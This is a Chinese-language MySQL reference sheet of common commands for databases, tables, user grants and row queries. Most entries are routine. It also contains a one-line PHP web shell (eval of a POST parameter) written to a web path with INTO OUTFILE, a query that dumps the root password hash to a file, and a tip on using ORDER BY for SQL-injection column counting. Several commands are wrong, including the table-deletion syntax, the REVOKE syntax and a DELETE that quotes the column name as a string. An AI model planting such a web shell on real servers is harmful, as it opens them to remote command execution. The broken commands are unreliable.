MySQL常用命令

MySQL是平时工作中用到最多的数据库语言，这里记录一些常用命令以供查询

1.数据库和表

mysql -h127.0.0.1 -uroot -pP@ssw0rd  # 连接数据库

CREATE DATABASE database_name;       # 创建数据库

DROP DATABASE database_name;         # 删除数据库

SHOW DATABASES;                      # 显示所有数据库

USE database_name;                   # 选择数据库

SELECT DATABASE(),VERSION(),USER();  # 显示当前数据库、版本、用户

CREATE TABLE table_name(column_name data_type [options],...) # 创建表

DELETE FROM TABLE table_name         # 删除表，保留表的结构

DROP TABLE table_name;               # 删除表，包括表的结构

SHOW TABLES;                         # 显示当前数据库中的表

DESCRIBE table_name;                 # 显示表的描述

2.用户和授权

# 新建数据库用户(以root身份登录)，%为通配符可以表示任何IP
CREATE USER user_name@'localhost' IDENTIFIED BY 'P@ssw0rd';
CREATE USER user_name@'10.10.1.%' IDENTIFIED BY 'P@ssw0rd';
CREATE USER user_name@'%' IDENTIFIED BY 'P@ssw0rd';

# 删除用户
DROP USER user_name@'localhost';

# 授予用户对所有数据库所有表格的所有操作权限（新创建的用户默认权限很低）
GRANT ALL PRIVILEGES ON *.* TO user_name@'localhost';

# 创建并授予新用户对database_name数据库所有表格的所有操作权限
GRANT ALL PRIVILEGES ON database_name.* TO user_name1@'localhost' IDENTIFIED BY 'P@ssw0rd1';

# 对已存在用户对选择性授予操作权限
GRANT SELECT,INSERT,UPDATE,DELETE ON database_name.* TO user_name1@'localhost';

# 撤销对用户的授权，注意撤销的要与授予的权限保持一致
REVOKE ALL PRIVILEGES FROM *.* TO user_name@'localhost';

FLUSH PRIVILEGES；

# 显示用户授权情况
SHOW GRANTS FOR user_name@'localhost';

3.表项（查、增、改、删）

查

• 基本语句：SELECT column_name FROM table_name <Conditions>;

# 从mysql库的user表中，去重查找列名为user和password的内容
SELECT DISTINCT user,password FROM mysql.user; 

# WHERE限定查找root的HASH
SELECT DISTINCT password FROM mysql.user WHERE user='root';

# ORDER BY DESC限定降序排列查询（默认是升序排列）
# LIKE进行模糊匹配
# LIMIT限定查询内容数量、
# ORDER BY后可以用列数代替列的名字，如果KPI在表中位于第四列，则以下两句命令等同
# 因此ORDER BY <num>可以在sql注入语句中判断查询表的列数
SELECT * FROM staff WHERE company LIKE 'HuaWei%' ORDER BY KPI DESC LIMIT 3;
SELECT * FROM staff WHERE company LIKE 'HuaWei%' ORDER BY 4 DESC LIMIT 3;


# INTO OUTFILE将查询内容写入文件
SELECT DISTINCT password FROM mysql.user WHERE user='root' INTO OUTFILE '/pass.txt';

# SUM、AVG、COUNT等函数用于查看内容或限定条件
# AS将字段取为别名
# GROUP BY将查询内容进行分组
# HAVING限定分组显示的内容
SELECT company,SUM(salary) AS salary FROM staff GROUP BY company HAVING COUNT(company)>=3;

# 写一句话木马
SELECT '<?php @eval($_POST[cmd])?>' INTO OUTFILE '/log.php';

增

• 基本语句：INSERT INTO table_name(column_name,...) VALUES(vlue1,...)

# 创建staff表，其中包含NO.、name、addr、phone和KPI五列内容
# NO.为主键，唯一区分表中每一项内容，默认以1为跨度递增
CREATE TABLE staff(NO int(8) NOT NULL PRIMARY KEY AUTO_INCREMENT, 
                   name varchar(16) NOT NULL, 
                   addr varchar(16) NOT NULL, phone varchar(16) NOT NULL,
                   KPI int(8) NOT NULL);

INSERT INTO staff(NO,name,addr,phone,KPI) VALUES(1,'Alice','Tokyo','213',56),(4,'Bob','New YORK','312',93);

改

• UPDATE修改的是表中条目的值

  基本语句：UPDATE table_name SET column1=value1 <Conditions>;

# 修改mysql数据库root用户密码
UPDATE mysql.user SET password=password('P@ssw0rd') WHERE user='root';
FLUSH PRIVILEGES;

# 修改成绩
UPDATE staff SET KPI=100 WHERE name='Alice';

• ALTER修改的是表的结构或列的名称和属性

  基本语句： ALTER TABLE table_name <Options>

# DROP删除表中的列
ALTER TABLE staff DROP addr;

# ADD添加新列
ALTER TABLE staff ADD sex char(5) NOT NULL AFTER name; 

# MODIFY修改表中列的类型
ALTER TABLE staff MODIFY name char(20);

# CHANGE修改表中列的名称和类型
ALTER TABLE staff CHANGE name `full name` char(20);

# RENAME修改表名
ALTER TABLE staff RENAME TO staff1;

删

• 基本语句：DELETE FROM table_name <Conditions>

# 删除用户的记录信息，表的结构仍然保留
DELETE FROM staff WHERE 'full name' = 'Alice';

# 以KPI升序排序，删除前两个表项
DELETE FROM staff ORDER BY KPI ASC LIMIT 2;

注意：MySQL中保留字符转义要用反引号``